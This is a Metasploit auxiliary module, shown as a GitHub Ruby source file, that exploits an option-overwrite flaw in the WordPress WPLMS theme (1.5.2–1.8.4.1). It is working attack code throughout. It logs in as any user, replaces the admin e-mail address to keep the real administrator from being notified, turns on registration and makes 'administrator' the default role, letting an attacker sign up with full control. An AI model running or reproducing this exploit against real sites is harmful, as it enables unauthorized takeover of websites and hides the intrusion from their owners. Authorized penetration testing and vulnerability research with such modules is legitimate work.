metasploit-framework/modules/auxiliary/admin/http/wp_wplms_privilege_escalati...

126 lines
4.1 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress WPLMS Theme Privilege Escalation',
'Description' => %q{
The WordPress WPLMS theme from version 1.5.2 to 1.8.4.1 allows an
authenticated user of any user level to set any system option due to a lack of
validation in the import_data function of /includes/func.php.
The module first changes the admin e-mail address to prevent any
notifications being sent to the actual administrator during the attack,
re-enables user registration in case it has been disabled and sets the default
role to be administrator. This will allow for the user to create a new account
with admin privileges via the default registration page found at
/wp-login.php?action=register.
},
'Author' =>
[
'Evex', # Vulnerability discovery
'Rob Carr <rob[at]rastating.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['WPVDB', '7785']
],
'DisclosureDate' => 'Feb 09 2015'
))
register_options(
[
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
], self.class)
end
def check
check_theme_version_from_readme('wplms', '1.8.4.2', '1.5.2')
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def php_serialize(value)
# Only strings and numbers are required by this module
case value
when String, Symbol
"s:#{value.bytesize}:\"#{value}\";"
when Fixnum
"i:#{value};"
end
end
def serialize_and_encode(value)
serialized_value = php_serialize(value)
unless serialized_value.nil?
Rex::Text.encode_base64(serialized_value)
end
end
def set_wp_option(name, value, cookie)
encoded_value = serialize_and_encode(value)
if encoded_value.nil?
vprint_error("Failed to serialize #{value}.")
else
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_get' => { 'action' => 'import_data' },
'vars_post' => { 'name' => name, 'code' => encoded_value },
'cookie' => cookie
)
if res.nil?
vprint_error("No response from the target.")
else
vprint_warning("Server responded with status code #{res.code}") if res.code != 200
end
return res
end
end
def run
print_status("Authenticating with WordPress using #{username}:#{password}...")
cookie = wordpress_login(username, password)
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
print_good("Authenticated with WordPress")
new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"
print_status("Changing admin e-mail address to #{new_email}...")
if set_wp_option('admin_email', new_email, cookie).nil?
fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address')
end
print_status("Enabling user registrations...")
if set_wp_option('users_can_register', 1, cookie).nil?
fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations')
end
print_status("Setting the default user role...")
if set_wp_option('default_role', 'administrator', cookie).nil?
fail_with(Failure::UnexpectedReply, 'Failed to set the default user role')
end
register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')
print_good("Privilege escalation complete")
print_good("Create a new account at #{register_url} to gain admin access.")
end
end